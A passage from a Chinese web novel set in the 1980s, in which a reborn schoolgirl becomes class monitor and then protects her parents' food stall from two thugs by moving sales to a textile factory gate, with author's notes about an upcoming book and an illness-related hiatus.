再一侧头,同样坐在第三排、不过是中间位置的卢向阳也在拼命朝她挤眼睛! 苏丽珍:“……” 这一个两个的,亏得一个人就长了两只眼,要长多了还不得累抽筋了? 不过她很快明白过来怎么回事,在她出神那会儿,李老师说了要先选个人当代班长,希望大家毛遂自荐。虽说是代班长,但是基本上选定之后,如果不出什么大错,往后也都能转成正t式的。 卢向阳初中那会儿就是班长,应该是举手自荐了,他朝她使眼色,估计是想让她也自我推荐一下。 说实话,她对这个班长还真没啥兴趣,毕竟今后既要保证学习、还要注意家里的摊子,她实在没那么多精力兼顾,所以干脆只好装作没看懂卢向阳的眼色。 不过她倒是注意到,当谢芳芳说也要当代班长后,前头的李老师却皱了一下眉。 这会儿,他看着谢芳芳,语气近乎严厉:“谢芳芳同学,刚才我一再询问大家有没有想要自荐担任这个代班长的,在卢向阳同学举手前,你一直没什么反应。” “这里我必须正式提醒你,班干部不但自身要起到表率作用,还要担负起老师和学生之间的纽带工作,比如帮助老师布置学习任务,帮助同学们克服学习和生活上的一些困难。它是一项非常有意义的工作,并不是用来赌气显摆的工具,所以我再次问你,你想担任这个代班长是认真的吗?” 不得不说姜还是老的辣,虽说之前的事不可能这么快传到李老师耳朵里,可他还是一眼就看出谢芳芳在故意挑衅卢向阳。 李老师严肃的样子还是很吓人的,所以随着他每说一句,班级里就静默一分,好多人好像连呼吸都屏住了。 连坐在后头的苏丽珍都能感受到李老师的这种严格,更不用说此刻就在他眼皮子底下慢慢低下头的谢芳芳。 谢芳芳一直没吱声,李老师也没催促,只是一直看着她,像是在等待她的答案。 良久,就在苏丽珍以为对方十有八九会放弃的时候,忽听对方低低道:“是认真的……” 像是为了证明自己,她越说、声音越大:“李老师,我是认真的!我也要当这个代班长!” 李老师严肃的脸上忽然露出一抹儿笑容,点头道:“好,那么一周后,我们结合大家的表现,到时由全班同学一起投票,正式选出全体班干部成员。在此之前,我宣布,先由卢向阳和谢芳芳同学暂时共同担任我们班的代班长。” 两位代班长站起来,各自保证一定会圆满完成任务,班级里很快响起一片掌声。 苏丽珍悄悄对卢向阳比了个鼓励的手势,不过刚比到一半,就发现前头谢芳芳趁着这么一会儿工夫居然又回头瞪了她一眼! 因为这倒霉孩子屡次三番回头瞪眼、而惹来班级不少目光的苏丽珍:“……” 她有一种预感,这个学期怕是要安生不起来了—— 作者有话说:预收文:《六零之好人养成系统》 文案:泼皮无赖唐小菲肇事逃逸后,还贼喊捉贼恶意诬陷好人,因而触怒神仙,被一脚踹到贫穷落后的五十年代。 要啥啥没有,整天累死累活干农活,一碗能照影儿的野菜糊糊还得抢着吃,可你以为这就完了吗? 自诩心黑手辣的唐小菲也难得天真了一回。 滴,好人养成系统已激活!经检测,宿主自身好人值为-9999,道德等级属于极其缺德,这边建议立即送往宇宙联邦,作为制作诱捕宇宙凶兽专用的怪味糖储备材料! 滴,宿主情况被认定为高危级别,须尽快绑定系统,在规定时间内收集满10000点好人值延续生命。 滴,郑重警告,一旦系统判定宿主好人值累积任务失败,宿主将即刻被送往宇宙联邦制成怪味糖! 请宿主务必珍惜本次机会,洗心革面,尽快收集满好人值! 哪怕被炼糖,也要争取被炼成一颗美味糖! 唐小菲:……我谢谢你呗。 小剧场: 系统:滴滴,怪味糖警告,怪味糖警告,请宿主规范自己的行为,提高自己的道德修养,尽快做个好人! 唐小菲:(挖鼻孔)我说你天天叨叨怪味糖,你那个怪味糖究竟咋个怪法呢? 系统:人类最讨厌什么味道,它就会呈现什么味道。 唐小菲:(继续挖鼻孔)这么厉害呢?打个比方我听听。 系统:比方你最讨厌苦味,它就是苦味;你最讨厌臭味,它就是臭味。 唐小菲:那宇宙凶兽最讨厌啥味道? 系统:不知道,我只知道他们最喜欢什么味道。 唐小菲:(感兴趣脸)什么味道? 系统:你被制成怪味糖的味道。 唐小菲:……《 》 40-50 第41章 相比初中,高中的学习生活明显更忙碌一些,而且在各方面对学生自主性的要求也提高了不少。 苏丽珍现在每天早上七点半到校,其中上午、下午各四节课,晚上两节晚自习。 高一、高二每周上学六天,周日休息一天,赶上每个月的月末可以双休,差不多相当于每个月能休五天。 课业繁重,对于苏丽珍这样走读的外宿生来说,唯一幸运的一点就是不必像内宿生那样,每天还有两节早自习。 想想寒冬腊月里,从温暖的被窝里早早爬起来,冷冷嗖嗖去上学,哪怕寝室离教室只有五六分钟的路程,也够叫人难受的了。 开学十来天,苏丽珍适应良好,得益于她假期里把许多高中知识重新梳理了一遍,加上有老师在课堂上系统地讲解,之前多年不碰书本的生疏、吃力感彻底消失,现在各科的学习内容她都能不费力气跟上。 学业上渐入佳境自然是好的,不过也不是没有烦心事。 在大前天,也就是本周二下午的班会上,他们班在李老师的主持下进行了本学期第一次班干部选举。 除了表现优异的卢向阳被正式推选为班长外,一件让苏丽珍始料不及的事发生了! 那就是大多数同学居然越过另一位代理班长谢芳芳,直接把第二张班长票投给了她! 谢芳芳:“……” 看着黑板上苏丽珍那一骑绝尘般遥遥领先的票数,再看看一旁自己那稀稀落落、一只手就数得过来的几张票,谢芳芳当时就“哇”地一声哭了出来。 可能是谢芳芳哭得太伤心了,连素来严肃的李老师都和颜悦色地宽慰了她半天。 至此,谢芳芳算是彻底把苏丽珍给恨上了! 每天到校第一件事就是睁着她那俩大眼睛狠狠瞪苏丽珍几眼。 苏丽珍:“……” 基于上辈子的记忆和开学这十来天的观察,苏丽珍觉得谢芳芳就是典型的在家被娇惯坏了的小公主,要说多坏也不至于,就是喜欢使性子、耍小脾气,让人哭笑不得。 就比方说,她和卢向阳担任代理班长期间,因为高中课程多、学习任务重,加上新学期伊始大到班级干部、小到各科课代表都还不齐全,所以身为代班长自然有不少事要忙。 卢向阳每天忙得不可开交,除了兼顾班主任李老师这边布置的一些任务,还要兼顾各科老师们的一些小要求,偶尔班上同学这边还时不时有些小麻烦找过来,整天忙得团团转。 谢芳芳除了最开始那两天跟着忙活了一阵,很快就被这种繁忙紧张的节奏吓退了,遇事能躲就躲,早没了当初在李老师面前信誓旦旦的热乎劲儿。 可她也不傻,知道自己把活儿都推给卢向阳不像话,为了巩固自己的地位,就开始琢磨着想收拢人心。 具体的做法就是见天从家里带一堆高档的奶糖、巧克力和一些本地不常见的漂亮头花、发卡,每天下课招呼一堆人围着她排排坐,吃的发给男同学,头花、发卡发给女同学。 苏丽珍:“……” 实话说,这幼儿园级别的操作直接把苏丽珍逗乐了,上辈子没有她们在走廊拌嘴那一段,谢芳芳也就没有因为置气而非要当代理班长,所以她都不知道这姑娘还有这么有意思的一面。 对于还指望着搭档分担工作的卢向阳更是又好气、又好笑,起先他还会主动去找谢芳芳,在被对方连续拒绝两次后,他也只能作罢,等再一看对方这番骚操作,更是彻底死了心。 只可惜谢芳芳自以为高明的手段效果其实并不好,起初碍着谢芳芳足够热情,大家想着刚开学不好让人难堪,所以面对对方的邀请,大伙儿也就过去了。 但是一次、两次后,除了极个别两个起了小心思的,大多数人都不想占这份便宜。 不提谢芳芳炫耀她送的那些东西时,不自觉流露出的那股子高人一等的傲慢,就说有很多同学原本是出于分享和回报的心态,也把自己从家里带来的一些吃食、小玩意儿拿出来,只是送给谢芳芳时,看到对方t眼里的不以为然,不少人心里那股热乎劲直接凉了。 能考上第一重点高中的学生大多成绩都很优秀,这样的学生普遍自尊心也很强,而家境差一些的人更是心思敏感。 虽说这时的社会风气整体还是朴实向上的,学生们之间也少有那些弯弯绕绕。可谢芳芳搞得这些不但没有帮她赢得她想象中的拥护,反而把不少人给推走了,也在一些敏感的学生心中留下了芥蒂。 只可惜这孩子毛病一大堆,可性子也是真单纯,见天被两个故意等着占便宜的人大肆恭维一番后,还以为自己人缘最好,压根一点没发现周围不少同学对她日渐冷淡。 而这个局面落在卢向阳眼里也让他有些着急,本来你谢芳芳不干活就不干活了,还整这一出,闹得班级里很多学生都心生隔阂,长此以往,说不定班上家境好和家境不好的学生间也要起疙瘩,极不利于班级团结。 眼瞅着班级氛围不对,卢向阳急得团团转,就在他无可奈何,打算直接找班主任李老师出面调节的时候,作为班级唯一跟他熟络的苏丽珍看他着急上火,便给他出了几个主意。 首先第一步是“招兵买马”。班上五十五人,什么事都指望卢向阳自己,那他就是有三头六臂也忙不过来,苏丽珍就建议他先给自己拉个“草台班子”。 卢向阳原本在初中就做过班长,脑子也精明,只不过是一开始就被谢芳芳的骚操作整懵了,如今苏丽珍一说,他就马上反应过来,当即主动联系了几个性格外向、且在初中时有过班干部经验的同学,很快就成立了一个临时班委会。 临时班委会成立后做了很多事。学习上,大家以各科成绩优秀的学生牵头,在每天早晚自习的一段固定时间里,帮助其他成绩不理想学生加强一些知识点。 当然,如今刚开学,大家的成绩好坏还不明显,所以在学习上的任务并不多,主要还是以生活上为主。 苏丽珍建议卢向阳直接以内宿生和外宿生为两个组,彼此互帮互助。比如内宿生初来乍到,周一到周六期间又不能出校,很有可能赶上有什么缺漏或者需要缝缝补补的时候,班委可以组织外宿生一起帮忙采买或者把学生们修补不好的东西带回家找大人帮忙。 同样的,在阴天下雨或者外宿生身体不舒服的时候,内宿生就可以邀请他们回寝室临时休息。 这样两边你帮我、我帮你,自然无形中拉近了距离。 此外,教室后面那一大片的黑板墙上如今还空空如也,李老师的意思是等班委会正式成立后,再由班级干部们一起设计和绘制板报。 这也是惯常的思维,大家总觉得板报这些东西合该由班级干部或者那些能写会画的人来做,其他学生普遍没什么参与度。 苏丽珍却觉得这个才最该由大伙儿集思广益,文笔好的可以自己写点什么,文章、诗歌、甚至是谜语、笑话都可以,实在不会写也可以推荐一些自己喜欢的文章故事。 画画难度大一些,会的人不多,可是自己画不出来,却不妨碍大伙儿主动去找一些美观大方的图画素材过来。 为了调动大家的积极性,她给卢向阳出主意,等板报做好后,在每一篇图画或者文章诗歌下面都署上学生的名字。 不是自己写的,那就在原作者后面再加一句“XXX推荐”,每月一次板报,然后再由全班同学评选出当月的板报最佳文作/画作或者推荐者,等期末总结的时候,也是个人的加分项。总之务必让大伙儿这份参与感提得高高的。 别说,等这些事一项项执行下去,大家的积极性果然越来越高,而且彼此相处下来,属于少年人之间的那份热情、纯真渐渐释放出来,大伙儿脸上的笑容越来越多了,对这个全新的集体生活也开始充满了期待,之前的那些陌生和一点点小隔阂更是通通没有了。 班级的氛围一天比一天好,而苏丽珍不知道的是,她给卢向阳提供的那些建议在对方有心宣传下,都被大伙儿得知并暗暗记在了心里,所以这次班选,大多数人直接越过谢芳芳投了苏丽珍一票。 这个结果出来后,苏丽珍其实有些惭愧,很多事情她只不过提了个建议,根本没做什么,里外忙碌的还是卢向阳自己,可他却把功劳给了她,这让苏丽珍有些受之有愧。 不过她感动于卢向阳这份真诚善意,心里却也有些无奈。 其实这个班长,她内心并不想当的。 就不说高中三年的学习任务,就是家里那一摊子事,也足够她操心,所以说她是真没什么信心能当好这个班长。 可那会儿,她要是直接推拒,也未免有些不识好歹,更会伤了卢向阳、还有选她那些人的心。 所以她最终接任了这个班长。 走马上任第一件事就是教室板报的事,这两天她也是一直在忙这个。 他们班有好几个文采斐然的学生,可不巧会画画的目前只有她一个。 但是因为大伙儿积极性高,倒是四处帮忙收罗来了许多好看的图画,其中最受大家欢迎的是一幅秋收图。 苏丽珍本人也很中意这幅画,觉得应景又喜庆,只可惜画虽然好看,难度也不低,班上又只有她一个人会画画,这两天的空闲时间基本都被她用在这期板报上了。 紧赶慢赶,昨天还剩了个尾巴,她今天特意起早来上早自习,总算赶着上午课之前把所有画作都补完了! 中午放学,她打算去摊子上看看,这两天她一直利用中午和晚自习前这段时间画板报,也没去摊子上,两顿饭都是吃的家里带来的馒头和卤蛋对付着。 其实学校食堂也对外宿生开放,只不过需要提前带着粮食或者粮票到教务处换成学校食堂专用的饭票,苏丽珍嫌麻烦就没办,打算等以后上了高三时间紧时再说。 按照她记忆里,大概得明年这时候校门外头才会陆续有摆摊卖小吃的,现在道远的外宿生大多是自己带饭,到时候请食堂的阿姨帮着热一下就成。如果不好意思,也可以下课的时候送去锅炉房里,进嘴也是热乎的。 连着两天中午、晚上吃的馒头、卤蛋,苏丽珍有点想李翠英做的包子和凉皮了,难得这两天秋高气爽,中午温度高,吃凉皮也不觉得难受。她这么想着就加快了脚步,先到车棚取自行车。 到校门口给看门的大爷出示了外宿生专用的校卡后,她正准备瞪车子往客运站去,忽然看见前面路边上站着道熟悉的身影。 一身过分宽大又打满补丁的灰褂子,一顶压得低低的草帽,不是林小麦是谁! “小麦!” 林小麦原本正四处张望寻找苏丽珍的身影,一听这声音,立马循声看了过来。 “珍珍!” 两人很快走到一处,苏丽珍见对方眉眼间有些焦灼,心里直觉不好,连忙问道:“小麦,你怎么到这儿来了?是不是我爸妈那边出什么事了!” 林小麦心里感叹苏丽珍的敏锐,当下也没磨叽,立即点了点头:“是叔和婶子那边遇上了事。” 她是个干脆利索的人,既然决定来找苏丽珍,自然是有啥说啥,当即就把苏卫华夫妻俩这两天遇到的难事和盘托出。 原来,从前天中午开始,他们家小吃摊上就来了两个小混混,既不吃东西、也不买东西,就守在他们摊子边上,但凡有顾客过来,就露出一副不怀好意的模样盯着人家。 不少客人远远看到他们那副恶狠狠的样子,都觉得不好惹,犹豫之下也都不敢再过来了。 这俩人明摆着是故意上门闹事,可他们一没动手、二没骂人,他们家摊子又是摆在马路边上,不算个人家里,这种情况就算报警找公安也没什么用。 苏卫华起先好言求情,可任凭他们夫妻俩好话说了一箩筐,这俩混子就是油盐不进,甚至变本加厉,连路过的人都要遭他们一番凶狠的瞪视,闹得许多人走路都要绕着他们家摊子。 夫妻俩没法,本打算花钱消灾,可谁知这俩混子收了钱,却不肯走。 后来苏卫华实在气急了,恨不得动手,但他本就身体不好,那俩混子又长得壮实,真动起手来t,苏卫华肯定要吃亏,所以好几次都是李翠英和林小麦死死拦住他,才没有真打起来。 软硬都不行,苏卫华和李翠英实在没办法,只好像上回王老四那次,准备换个地方摆摊,没想到这俩混子心黑透了,不管他们走到哪儿,都必定在后头死死跟着,夫妻俩推着车子走了一天,却连一份小吃都没卖出去。 “珍珍你这两天学校事情多,叔和婶子都怕影响你,就没告诉你,也让我先帮忙瞒着……” 林小麦说着,也忍不住满脸的忧愁,“可我听婶子说,这两天卖不掉的那些吃的她大多拿去送给了以前的老同事和左邻右舍!我想着这样不是办法,只要那俩瘪犊子不走,你早晚都会知道,而且你那么聪明,说不定能拿出个主意把他们赶跑!” 苏丽珍听得面色发沉,这两天为了学校板报的事,她白天既没去摊子上、也没回家,加上眼瞅着开学要满半月之期,沈哲和齐秀婷就快要出现了。 虽说她这次心里已经做好充足的应对,可还是免不了有几分烦乱,这就导致她每天晚上回家,丝毫没察觉到苏卫华和李翠英有什么不妥。 按照小麦所说,这两天他们家基本算是血本无归,再一想到父母两个人为了怕她担心,每天早上还要装作什么都没发生似的照常准备那些吃食,她心里的火气便压都压不住。 这气,既有对自己粗心、没用的厌恶,也有对那两个混子的憎恨。 只是眼下生气无用,她下意识攥紧了自行车把,问林小麦道:“小麦,这会儿我爸妈还在客运站吗?” 林小麦点头,“在的,叔叔说反正那俩人跟狗皮膏药似的走哪儿、跟哪儿,那不如就还在老地方,好在今天有些老主顾实在想婶子的手艺,好几个人干脆一起结伴来买东西,叔和婶子好歹开了张。” 苏丽珍马上又问:“那两个混子当时什么反应?” 提起这茬,林小麦还有点高兴,“他们气得够呛,可那些老主顾有好几个人,又都是男同志,而他们只有两个人,所以就算他俩再怎么露出狠相,那些人不搭理他俩,他俩就没辙。” 苏丽珍听得若有所思。 可林小麦很快又沮丧起来,“只是这种情况并不多,大多数人还是顾忌那俩混蛋,到底也没敢过来……就连是我,叔和婶子都不让过去了,到了饭点,婶子给我拿了些吃的,就让我避到报刊亭王大爷那边,叫我轻易不要过去,我就借着机会偷偷来找你了!” 苏丽珍有些感动,拉着林小麦的手说道:“小麦,谢谢你特意来告诉我!这样,你先上车,咱们悄悄过去,我要先看看这两人到底什么情况!”—— 作者有话说:关于这次断更这么久,解释一下。 这个月三号是我生日,姐姐请我出去吃了顿烧烤,可能是身体不好,加上很长时间没吃这些东西,当晚就开始胃疼加拉肚子,到第二天又开始发烧,一度烧到三十八度六,直到第三天早上才降下来,之后又连续两天低烧。 可能是发烧的原因,把老毛病也勾起来了,我心脏和胃不好,也有糖尿病。每次生病恢复起来都特别慢,这次好几回一坐在电脑前就觉得头晕眼花没力气,所以才拖了这么久。 想给一直等着我的小读者鞠个躬,抱歉啊,老是断更,给你们带来了这么糟糕的阅读体验。 第42章 苏丽珍领着林小麦躲在客运站前面一条不起眼的小胡同里。 站在胡同口,她刚好能把对面自家摊子上的情形看个一清二楚。 只见自家摊子前果真杵着两个脸生的小青年,看模样两人顶多二十出头,都是敞胸咧怀、站没站相,一副流里流气的样子。但凡有人接近或者路过摊子,两人必定作出一脸凶恶的模样吓唬人。 拜这两人所赐,以往这个时间段,本该正是他们家生意最好的时候,可这会儿摊子上却分外冷清,很多人因为惧怕这两人的恶形恶状,甚至要绕路走。 再看她爸妈,苏卫华正满脸愤怒地瞪着两人,李翠英则一直紧紧拽着他一只臂膀,显然是怕他气急动手。 那两个混子看着个头都不矮,其中一个还长得挺敦实,以时下的眼光看,甚至称得上胖。就这一个人,苏卫华都不是对手,要是两人一起上,那苏卫华只有吃亏的份,所以李翠英才会死死拦着他。 看着爸妈焦急愤怒又无奈的样子,苏丽珍十分心疼,强忍着怒气又盯着那两个混子观察了几分钟,这才转头对林小麦道:“小麦,我直接过去找我爸妈,今天摊子不能在这儿摆了。以防万一,你就先留在这里,不要露面,等我们走了你再回去出摊。” “放心吧,这事我会解决的!” 林小麦张了张嘴,有心说要跟她一起过去,她好歹也有一把子力气,根本不怕打架! 可是她知道苏丽珍不会同意,她要是坚持跟着,那对方说不定要生气的。想想珍珍妹子一边要应付眼下这个难题,一边又要忙着上学,她不想给对方添乱,只好乖乖点头答应了。 不过她也在心里做好了决定,万一待会儿真动起手来,那她绝对要第一个冲在前面,说啥也不能让珍珍一家吃亏! 她从小就是一路拼命过来的,皮糙肉厚,扛造得很!—— 苏丽珍从小胡同里出来,推着自行车径自走到摊子前。 苏卫华夫妻俩光顾着跟两个混蛋生气,等反应过来的时候,闺女已经站在了眼前。 夫妻俩齐齐面色一变,苏丽珍却只是朝着两人轻轻摇了摇头,率先道:“爸、妈,先别说了,我都明白!收拾东西吧,咱们今天换个地方。”说着,停放好自行车,自顾自上前动手拾掇起锅碗炉具来。 苏卫华和李翠英起初还有些不知所措,等反应过来时,又格外担心那俩混子对自家闺女不利,直到眼见着闺女连个眼角都没搭理那俩,全程不慌不忙地忙活自己的,他们才慢慢放下心中的紧张和不安,默默上前跟着收拾起来。 知道事已至此,闺女怕是什么都知道了,夫妻俩脸上都不自觉流露出的惭愧和自责的神情,看得苏丽珍十分心疼,只是眼下不是说话的时候,她也不能跟两人多说什么。 因为没怎么开张,东西收拾得很快,不过三五分钟三轮车就能走了。 苏丽珍叫李翠英坐她的自行车后座,让苏卫华在后面瞪着三轮车跟着她。 经丁大勇改造过的这辆三轮车哪怕装着不少东西也能骑,就是速度比较慢,跟人小跑的速度差不多。 夫妻俩也没问闺女要去哪儿,事实上虽然他们心中的确是充满了忧虑、自责,但不可否认,闺女的出现确实让他们心中有了主心骨,就好像是终于等来了依靠,再难的事也不怕了。 眼见着苏丽珍一家要走,两个混子里身形较瘦的那个突然上前一把拖住苏丽珍的自行车,一脸阴阳怪气道:“小丫头这是要上哪儿去啊?不介意带咱们哥俩一块去乐呵乐呵呗?” 这话说得太轻佻,后头的苏卫华直接气得脸发青,大骂着就要从三轮车上跳下来找两人拼命。 苏丽珍赶忙让李翠英将她爸拦住,自己也不住安抚道:“爸,你别动气,不值当的!” 匆匆安抚住苏卫华,她这才将目光转向面前的两人,面对那瘦子挑衅一般充满恶意的眼神,她连眼睛都没有眨一下。 上辈子在国外流浪时遇到过数不清的比对方更凶暴的人,所以瘦子这两下在她眼里根本不算什么。 瞥了眼瘦子拖住自行车的手,她直直回视对方,语气冷淡中带着嘲讽:“想好了要在这儿动手?我们是无所谓,不过前面二百多米就有一个派出所,要是玩大了,留下案底,你们那点花招以后可就没机会使了!” 瘦子面色微变,他只看苏丽珍的眼神就知道这丫头绝对是个敢想敢干的主,他虽然是抱着找对方麻烦的心思来的,可也确实不想把自己闹到号子里去。 这么想着,他下意识就松了手,慢慢往后退了一步。 见对方让开了,苏丽珍便催促李翠英和苏卫华上车走人。 只是临走时,她又忽然回头朝站在瘦子旁边的胖子看了眼,不期然发现对方眼中的忌惮和紧张,这才若有所思地收回目光。 她一边踩着自行车,t一边又想起之前自打看到她出现后,那胖子便时不时流露出的恶意和防备。 这俩人明摆着是故意上门闹事,所以胖子的恶意,她勉强能想明白,可是那些防备和忌惮是怎么回事? 没道理对她爸妈两个成年人都丝毫不在意,反而顾忌她一个十六岁的小姑娘。 不过相比起苏丽珍所了解和接触过的真正混子,这俩人无论是手段还是胆子,都显然还处于“幼儿园”阶段,实在不够看的。 所谓鱼找鱼、虾找虾,这也间接说明背后授意他们做事的人也不是什么入流的角色,加上应该是在她手里吃过亏,所以约莫事先提醒过两人…… 这样的话,她好像能猜到这个主使者是谁了。 两个混子这会儿还不知道他们已经在苏丽珍那里漏了底,看着一家人离开的背影,之前被苏丽珍那一眼看得浑身发毛的胖子这才故作硬气地小声骂道:“妈的,这丫头真是邪门,难怪全子被她整得那么惨!哥,咱们就这么放他们走啊!” 瘦子皱着眉头,半晌把嘴里叼着的一根枯黄草根往地上重重一撇,“走,跟上去!正好今天这丫头也在,咱更得让她一分钱赚不着,赔个底朝天!我倒要看看这小丫头是不是真那么有本事!” 苏丽珍骑着自行车在前头带路,才走不远,就听见后座上李翠英咬牙切齿的声音:“这两个混蛋东西,果然又跟来了。” 他们的三轮车速度不快,人小跑着也能跟上,所以苏丽珍也没意外那两人跟上来,只是暗地里可惜她中午休息时间太短,得先办正事,要不然非得骑着车子好好溜溜这俩人。 不过她还是宽慰李翠英道:“妈,没事,他们想跟就跟吧。” 李翠英欲言又止:“闺女啊,咱这是上哪儿啊……是我和你爸没用,今天一上午就卖出去几份凉皮和卤味……” 感受到她妈的沮丧和低落,苏丽珍心疼了,赶忙道:“没事,妈,我都知道,这不怪你们!放心吧,我有主意,咱们今天肯定能卖完。” 李翠英听着女儿坚定的语气,好像也多了些信心。看着女儿纤瘦的背影,她忍不住把脸轻轻依靠过去。 骑了十多分钟,一直到凤城市纺织一厂大门口,苏丽珍才招呼苏卫华停下。 等苏卫华把三轮车停好,夫妻俩看着纺织一厂宽阔的大门口,有些不安道:“珍珍啊,咱是要把摊子摆这儿吗?可是人家能让吗?” 苏丽珍刚想解释,就见门口警卫室里出来个老头,板着个脸,老远就冲着他们喊道:“哎哎,这里不许摆摊!你们赶紧挪走挪走啊!” 苏丽珍拽了拽父母的衣袖,让两人稍安勿躁,径自上前对老头十分客气道:“大爷,您好,我是市第一重点高中的学生,他们是我爸妈,我们今天过来是想找个人,能不能麻烦您帮我们叫一下?” 老头见苏丽珍说话有礼貌,又打量了一下她身上的校服,确定她真的是一高的学生,面色和缓了不少,但是他看着苏家那辆装扮的挺洋气的三轮车摊子,还是不放心道:“你们真的是来找人的?那你说说要找谁?” 苏丽珍赶忙道:“大爷,我想找第一车间质检二部的赵红霞,我们有点事想找她,麻烦您给叫一下吧!” 老头见她语气笃定,又说得有鼻子有眼,一时竟信了八成。 也是苏丽珍运气好,别看纺织厂上千号人,可这个一车间质检二部的赵红霞,老头还真就赶巧认识,平时上下班都会打招呼那种,所以他也没多为难,看了眼苏丽珍道:“行吧,小姑娘跟我进去。” 说罢,又指着苏卫华身后的三轮车道:“把你们车子靠这边放着,可别摆在正门口,待会儿让领导们看见以为你们是来摆摊的,连我都得挨批!” 苏卫华夫妻俩连忙答应着,按老头要求的停放在了紧贴警卫室背面的一小片空地上,这样一放确实不像来摆摊的,倒像是纺织厂自家的车摊子。 老头盯着他们放好车子,才领着苏丽珍进了警卫室,拿起桌子上的电话筒,熟门熟路地扒拉了两下,等对面接通后,说了苏丽珍要找的人,就撂了电话。 “等着吧,过一会儿就出来了!” 丢下这么一句,老头就不再搭理苏丽珍,自顾自坐回自己的位置上,端起搪瓷缸子慢条斯理喝起水来。 苏丽珍笑眯眯道了声谢,转身便出去了。 苏卫华夫妻俩正一脸忐忑地守在摊子边上,一见苏丽珍出来,忙不迭拉着她小声追问道:“闺女,赵红霞是谁啊?咱找她干啥啊!” 苏丽珍:“爸、妈,她是咱家的老主顾,特别喜欢吃卤蛋和凉皮,就是眼睛大、嗓门也大那个,你们应该有印象!” 听她这么一说,李翠英立马一拍脑门:“哦哦,我想起来了,她也是每次一来就帮别人带一大堆卤味的!我记得这姑娘好像是说过她在第一纺织厂上班!” 苏丽珍点头:“对,她也是在咱们这儿留下信息登记的第一批客人!” 当然,起初这些信息只是简单的一个姓名加上一个简单到不能再简的地址,压根不像苏丽珍之前跟门卫老头说的那样细致。 这些详细信息都是后期她通过慢慢跟客人熟络后一点点完善起来的。 本来她准备这些,是为了以后自家开店后开拓和维护客源用的,没成想现在就派上了用场!果然这世上,只要你肯积极动脑、动手,就没有白做的准备。 苏丽珍说道:“爸、妈,我想好了,既然有那两个人杵着,客人们不敢上门,那咱们就主动来找客人!” 说话间,她往来时的路上扫了一眼,正好看到那两个混子慢吞吞往这边赶,这速度照比开始的时候可不是差了一点半点,估计是一路小跑跟了十多分钟,撑不住了。 等俩人走近了,这一路上跑的灰头土脸、满身狼狈,看着更加没个正形,叫人瞧着就直皱眉头。 苏丽珍收回目光,往门卫室的方向看了眼,直接勾起了唇角,“咱们主动上门,毕竟这里是上千人的大厂子,没人敢再这儿胡来的。” 她话音刚落,警卫室的老头就再次走了出来,看着那俩混子吊儿郎当,一点不像个好人,老头老远就指着俩人大喝道:“你们俩个干什么的,这是纺织厂重地,闲人免进!” 两个混子面色不好,那胖子不服气道:“我们没想进,就在这门口站一会儿还不行吗?” 老头板着脸道:“那也不行!谁知道你们是干什么的!赶紧走走走!” 胖子气得不行,指着苏丽珍一家喊道:“那他们怎么就能站这儿!” 老头冷哼一声,“他们是他们,你们是你们!谁让你们俩看着不像好人!我再说一遍,你们赶紧离开这儿,再磨叽我叫保卫科了啊!” 一听叫保卫科,俩人立马不敢纠缠了。 这时候国营工厂里的保卫科可丝毫不逊色于正儿八经的公安,甚至同样允许配木仓,绝对是不好惹的存在。 俩人只好不甘心地狠瞪了苏丽珍他们一眼,远远退回了路口,离纺织厂正门五、六十米的地方。 苏卫华夫妻俩见此都感觉出了口气,不过想到闺女说的主动找客人的话,俩人还是担心。 “珍珍,可是人家不让咱在这儿摆摊啊,那咱到时候咋卖啊?” 第43章 苏丽珍安抚两人:“放心吧,爸、妈,待会儿你们先看我的!” 说完,她就到摊子前,用自家的饭盒盛了一盒卤花生和毛豆,又拿了两个卤蛋,就重新进了门卫室。 “大爷,谢谢您帮我们找人,这是我自家做的一点小吃,不是啥好东西,也不值什么钱,就给您拿点尝尝!” 老头却不领她的情,冷哼一声道:“你这小丫头不老实,鸡蛋、花生还不算好东西?你赶快拿走!我告诉你,你这种行为往大了说叫做‘贿赂’,要搁前两年,那是足够送去劳教的!” 苏丽珍面上立即做出一副害怕的模样,惊慌道:“不是、不是贿赂!大爷,您千万别误会,我们没有别的意思!我们就是……就是想感谢一下您!” 她脸上的表情十分真诚,“不瞒大爷说,其实刚刚您赶走那两个人就是冲着我们来的!我爸因为身体不好没了工作,一家人只好在客运站摆摊挣钱供我念书。这俩人看我们家生意好,就想逼我们家交出小吃t方子,我爸妈不肯,他们就天天来我们摊子上捣乱,让我们一份东西都卖不出去!所以刚刚您把他们轰走,其实也算变相保护了我们家,我和我爸妈都很感谢您,所以想送您点东西尝尝!” 她可没指望跟两个混子的纠葛能瞒住眼前这位,别小看看门的人,这些人守了几十年门,每天接触形形色色的人,眼睛可厉着呢! 所以与其撒那没用的谎,不如有选择地说一部分实话,半真半假更能取信于人,也能帮忙混个好印象。 果然,那老头听了苏丽珍的话并没有怀疑,当即狠拍了一下桌子,骂道:“这两个王八羔子,我一看他们就不像好人,没想到还真是缺德透顶!” 苏丽珍趁机把饭盒和卤蛋递到老头面前,“大爷,我们真没有别的心思,我们家亲戚在农村,这些都不缺,就是一点心意,您就收下吧!” 东西一放下,那股子属于卤味的浓香就直往老头鼻子里钻,闻着这股霸道的香味,老头心里也不得不感慨,难怪那俩混子要对这家人动心思,这东西光是闻着就这么香了,真要吃起来不定多好吃呢! 一时间,嘴边的拒绝又咽了回去。 不过,想到职责所在,他还是肃着脸道:“行吧,花生、毛豆我收了,但是鸡蛋你拿回去,我不要!还有啊,虽然你们挺可怜的,我也收了你家的东西,但我还是那句话,这里不许摆摊,你们别想打这儿的主意!” 苏丽珍连忙保证道:“大爷,您放心,我们肯定不在这里摆摊!您是好人,我们哪能让您为难呢!至于鸡蛋,这是我们家的特色卤蛋,咱们市里别的地方都买不到,您就一块尝尝吧,要是吃得好了,以后可以来找我们,我给您优惠!” 老头听她这么说,犹豫了一下,最后还是全收了。 他起身找出自己的饭盒,把苏丽珍的饭盒腾出来,想着自己之前的语气似乎太硬了,这次开口时便缓和了不少:“虽然我们这儿大门口不让摆摊,但是马路对面应该没人管,你们还是可以在那边摆的。” 苏丽珍笑着摇头道:“谢谢大爷,不用了,我们不摆摊。” 去那边摆摊,不是照样要被两个混子缠? 而且她真不是来摆摊的,她就是来找人买东西而已! 老头似乎完全信了苏丽珍,再加上手里的卤味这么一倒腾,味道实在太香了。 他忍不住抓起一颗花生连壳一起丢进嘴里,上下牙一嗑,一股浓郁的卤汁水立马迸发进口腔!他两只老眼霎时一亮,当下也顾不得跟苏丽珍多说,一颗接一颗地吃了起来。 老头一口气吃了一大把花生、毛豆后,苏丽珍要找的赵红霞终于来了。 